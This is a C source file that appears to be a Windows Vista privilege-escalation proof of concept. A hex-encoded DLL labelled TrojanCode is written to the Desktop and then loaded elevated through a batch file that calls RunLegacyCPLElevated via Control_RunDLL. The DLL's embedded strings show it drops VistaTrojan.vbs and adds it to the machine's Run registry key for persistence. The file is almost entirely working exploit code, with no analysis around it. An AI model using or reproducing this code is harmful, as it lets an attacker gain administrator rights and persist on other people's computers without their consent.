#include <windows.h>
/* hex dump of our dll */
char TrojanCode[] = {
0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,
0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,
0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,
0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x68,0x17,0x6F,0xFB,0x2C,0x76,0x01,0xA8,0x2C,0x76,0x01,0xA8,
0x2C,0x76,0x01,0xA8,0xD0,0x56,0x13,0xA8,0x2D,0x76,0x01,0xA8,0xA2,0x69,0x12,0xA8,0x3C,0x76,0x01,0xA8,
0x52,0x69,0x63,0x68,0x2C,0x76,0x01,0xA8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x04,0x00,
0x3D,0xB5,0x4D,0x46,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x0E,0x21,0x0B,0x01,0x05,0x0C,
0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x10,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x04,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x50,0x21,0x00,0x00,0x4B,0x00,0x00,0x00,
0x30,0x20,0x00,0x00,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x38,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x04,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,
0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0x9B,0x01,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,
0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0xD7,0x01,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,
0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x4E,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x02,0x00,0x00,
0x00,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x55,0x8B,0xEC,0x68,0x04,0x01,0x00,0x00,0x68,0x2F,0x30,0x00,0x10,0xE8,0xC8,0x00,
0x00,0x00,0x68,0x1E,0x30,0x00,0x10,0x68,0x2F,0x30,0x00,0x10,0xE8,0xC5,0x00,0x00,0x00,0x6A,0x00,0x68,
0x80,0x00,0x00,0x00,0x6A,0x02,0x6A,0x00,0x6A,0x02,0x68,0x00,0x00,0x00,0x40,0x68,0x2F,0x30,0x00,0x10,
0xE8,0x91,0x00,0x00,0x00,0x83,0xF8,0xFF,0x75,0x07,0x6A,0x00,0xE8,0x8B,0x00,0x00,0x00,0x93,0x68,0x71,
0x31,0x00,0x10,0xE8,0x98,0x00,0x00,0x00,0x92,0x6A,0x00,0x68,0xD5,0x31,0x00,0x10,0x52,0x68,0x71,0x31,
0x00,0x10,0x53,0xE8,0x78,0x00,0x00,0x00,0x53,0xE8,0x5A,0x00,0x00,0x00,0x68,0x33,0x31,0x00,0x10,0x68,
0x06,0x00,0x02,0x00,0x6A,0x00,0x68,0x37,0x31,0x00,0x10,0x68,0x02,0x00,0x00,0x80,0xE8,0x6F,0x00,0x00,
0x00,0x0B,0xC0,0x74,0x07,0x6A,0x00,0xE8,0x40,0x00,0x00,0x00,0x68,0x2F,0x30,0x00,0x10,0xE8,0x4E,0x00,
0x00,0x00,0x91,0x51,0x68,0x2F,0x30,0x00,0x10,0x6A,0x01,0x6A,0x00,0x68,0x65,0x31,0x00,0x10,0xFF,0x35,
0x33,0x31,0x00,0x10,0xE8,0x45,0x00,0x00,0x00,0xFF,0x35,0x33,0x31,0x00,0x10,0xE8,0x2E,0x00,0x00,0x00,
0xC9,0xC2,0x10,0x00,0xFF,0x25,0x28,0x20,0x00,0x10,0xFF,0x25,0x1C,0x20,0x00,0x10,0xFF,0x25,0x18,0x20,
0x00,0x10,0xFF,0x25,0x10,0x20,0x00,0x10,0xFF,0x25,0x24,0x20,0x00,0x10,0xFF,0x25,0x20,0x20,0x00,0x10,
0xFF,0x25,0x14,0x20,0x00,0x10,0xFF,0x25,0x04,0x20,0x00,0x10,0xFF,0x25,0x00,0x20,0x00,0x10,0xFF,0x25,
0x08,0x20,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1E,0x21,0x00,0x00,
0x10,0x21,0x00,0x00,0x2E,0x21,0x00,0x00,0x00,0x00,0x00,0x00,0xC6,0x20,0x00,0x00,0xF6,0x20,0x00,0x00,
0xB8,0x20,0x00,0x00,0xAA,0x20,0x00,0x00,0xEA,0x20,0x00,0x00,0xDE,0x20,0x00,0x00,0x9C,0x20,0x00,0x00,
0x00,0x00,0x00,0x00,0x7C,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x21,0x00,0x00,
0x10,0x20,0x00,0x00,0x6C,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x21,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x1E,0x21,0x00,0x00,0x10,0x21,0x00,0x00,0x2E,0x21,0x00,0x00,0x00,0x00,0x00,0x00,
0xC6,0x20,0x00,0x00,0xF6,0x20,0x00,0x00,0xB8,0x20,0x00,0x00,0xAA,0x20,0x00,0x00,0xEA,0x20,0x00,0x00,
0xDE,0x20,0x00,0x00,0x9C,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x1A,0x00,0x43,0x6C,0x6F,0x73,0x65,0x48,
0x61,0x6E,0x64,0x6C,0x65,0x00,0x30,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x46,0x69,0x6C,0x65,0x41,0x00,
0x80,0x00,0x45,0x78,0x69,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x00,0x62,0x01,0x47,0x65,0x74,0x57,
0x69,0x6E,0x64,0x6F,0x77,0x73,0x44,0x69,0x72,0x65,0x63,0x74,0x6F,0x72,0x79,0x41,0x00,0x00,0x9E,0x02,
0x57,0x72,0x69,0x74,0x65,0x46,0x69,0x6C,0x65,0x00,0xB5,0x02,0x6C,0x73,0x74,0x72,0x63,0x61,0x74,0x41,
0x00,0x00,0xBF,0x02,0x6C,0x73,0x74,0x72,0x6C,0x65,0x6E,0x41,0x00,0x00,0x6B,0x65,0x72,0x6E,0x65,0x6C,
0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x80,0x01,0x52,0x65,0x67,0x43,0x6C,0x6F,0x73,0x65,0x4B,0x65,
0x79,0x00,0x99,0x01,0x52,0x65,0x67,0x4F,0x70,0x65,0x6E,0x4B,0x65,0x79,0x45,0x78,0x41,0x00,0xAE,0x01,
0x52,0x65,0x67,0x53,0x65,0x74,0x56,0x61,0x6C,0x75,0x65,0x45,0x78,0x41,0x00,0x00,0x61,0x64,0x76,0x61,
0x70,0x69,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3D,0xB5,0x4D,0x46,
0x00,0x00,0x00,0x00,0x82,0x21,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x78,0x21,0x00,0x00,0x7C,0x21,0x00,0x00,0x80,0x21,0x00,0x00,0x00,0x10,0x00,0x00,0x91,0x21,0x00,0x00,
0x00,0x00,0x54,0x72,0x6F,0x6A,0x61,0x6E,0x5F,0x64,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x43,0x50,0x49,
0x41,0x70,0x70,0x6C,0x65,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x64,0x65,0x64,0x20,0x62,0x79,0x20,0x5B,0x57,0x61,
0x72,0x47,0x61,0x6D,0x65,0x2F,0x64,0x6F,0x6F,0x6D,0x72,0x69,0x64,0x65,0x72,0x7A,0x5D,0x00,0x5C,0x56,
0x69,0x73,0x74,0x61,0x54,0x72,0x6F,0x6A,0x61,0x6E,0x2E,0x76,0x62,0x73,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,
0x4F,0x46,0x54,0x57,0x41,0x52,0x45,0x5C,0x4D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x5C,0x57,0x69,
0x6E,0x64,0x6F,0x77,0x73,0x5C,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,
0x5C,0x52,0x75,0x6E,0x00,0x56,0x69,0x73,0x74,0x61,0x54,0x72,0x6F,0x6A,0x61,0x6E,0x00,0x6D,0x73,0x67,
0x62,0x6F,0x78,0x20,0x22,0x54,0x68,0x69,0x73,0x20,0x69,0x73,0x20,0x61,0x20,0x73,0x69,0x6D,0x70,0x6C,
0x65,0x20,0x50,0x6F,0x43,0x20,0x73,0x68,0x6F,0x77,0x69,0x6E,0x67,0x20,0x79,0x6F,0x75,0x20,0x68,0x6F,
0x77,0x20,0x74,0x6F,0x20,0x67,0x65,0x74,0x20,0x61,0x64,0x6D,0x69,0x6E,0x20,0x72,0x69,0x67,0x68,0x74,
0x73,0x21,0x22,0x2C,0x2C,0x22,0x43,0x6F,0x64,0x65,0x64,0x20,0x62,0x79,0x20,0x5B,0x57,0x61,0x72,0x47,
0x61,0x6D,0x65,0x2F,0x64,0x6F,0x6F,0x6D,0x72,0x69,0x64,0x65,0x72,0x7A,0x5D,0x22,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x38,0x00,0x00,0x00,0x09,0x30,0x13,0x30,0x18,0x30,0x34,0x30,0x4B,0x30,0x58,0x30,
0x5E,0x30,0x6F,0x30,0x7B,0x30,0x95,0x30,0xA1,0x30,0xAA,0x30,0xB0,0x30,0xBB,0x30,0xCA,0x30,0xD0,0x30,
0xD6,0x30,0xDC,0x30,0xE2,0x30,0xE8,0x30,0xEE,0x30,0xF4,0x30,0xFA,0x30,0x00,0x31,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/**************************************/
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY hKey;
DWORD len = MAX_PATH,writtenBytes;
char path[MAX_PATH],cmd[384],bat[MAX_PATH];
HANDLE trfd = NULL,batfd = NULL;
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",
0,KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)
{
ExitProcess(0);
}
if(RegQueryValueEx(hKey,"Desktop",0,NULL,path,&len) != ERROR_SUCCESS)
{
ExitProcess(0);
}
RegCloseKey(hKey);
/* write the dll */
lstrcpy(bat,path);
lstrcat(path,"\\Trojan_dll.dll");
lstrcat(bat,"\\go2admin.bat");
if((trfd = CreateFile(path,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL)) == INVALID_HANDLE_VALUE)
{
ExitProcess(0);
}
WriteFile(trfd,TrojanCode,3072,&writtenBytes,NULL);
CloseHandle(trfd);
if((batfd = CreateFile(bat,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL)) == INVALID_HANDLE_VALUE)
{
ExitProcess(0);
}
sprintf(cmd,"RunLegacyCPLElevated shell32,Control_RunDLL \"%s\",\"Boof\"",path);
WriteFile(batfd,cmd,lstrlen(cmd),&writtenBytes,NULL);
CloseHandle(batfd);
/* I use an external batch file coz a direct CreateProcess() didn't work in my tests */
ShellExecute(NULL,"open",bat,NULL,NULL,SW_SHOW);
ExitProcess(1);
}